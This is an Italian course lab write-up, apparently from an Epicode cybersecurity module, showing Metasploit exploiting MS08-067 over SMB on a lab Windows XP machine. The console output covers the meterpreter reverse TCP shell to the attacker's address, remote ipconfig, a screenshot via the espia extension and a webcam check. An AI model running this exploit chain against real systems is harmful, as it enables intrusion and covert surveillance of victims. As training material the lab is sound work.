




# S7/L3 Epicode Cybersecurity

Hacking Windows XP



Nell'esercizio di oggi continuiamo l'utilizzo di Metasploit su Win XP, stavolta sfruttando il protocollo SMB. Tramite MSFConsole selezioniamo 'ms08-067' per sfruttarla, configuriamo ed avviamo l'exploit. Se avremo esito positivo, ci ritroveremo in una shell di meterpreter.

```
msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):



| Name    | Current Setting | Required | Description                                     |
|---------|-----------------|----------|-------------------------------------------------|
| RHOSTS  |                 | yes      | The target host(s), see https://docs.metaspl... |
| RPORT   | 445             | yes      | The SMB service port (TCP)                      |
| SMBPIPE | BROWSER         | yes      | The pipe name to use (BROWSER, SRVSVC)          |



Payload options (windows/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.50.100  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name                |
|----|---------------------|
| 0  | Automatic Targeting |




View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.200
rhosts => 192.168.50.200
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.200:445 - Automatically detecting the target...
[*] 192.168.50.200:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.200:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.200:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.200
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.200:1031) at 2024-01-17 09:32:09 +0100

meterpreter > ipconfig
```



Dopo aver avuto accesso alla shell, proviamo il comando 'ipconfig' per verificare il corretto funzionamento. Fatto questo, andiamo ad effettuare la consegna odierna, ovvero ottenere uno screenshot della home di Win Xp e controllare la presenza di webcam.

```
kali@kali: ~  
Hardware MAC : 00:00:00:00:00:00  
MTU : 1520  
IPv4 Address : 127.0.0.1  
  
Interface 2  
=====
```

Name	: Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit
i pianificazione pacchetti	
Hardware MAC	: 08:00:27:92:0f:5e
MTU	: 1500
IPv4 Address	: 192.168.50.200
IPv4 Netmask	: 255.255.255.0

```
meterpreter > screengrab  
[-] The "screengrab" command requires the "espia" extension to be loaded (run: `load espia`)  
meterpreter > load espia  
Loading extension espia...Success.  
meterpreter > screengrab  
Screenshot saved to: /home/kali/IBjORaWd.jpeg  
meterpreter > webcam_list  
[-] No webcams were found  
meterpreter >
```

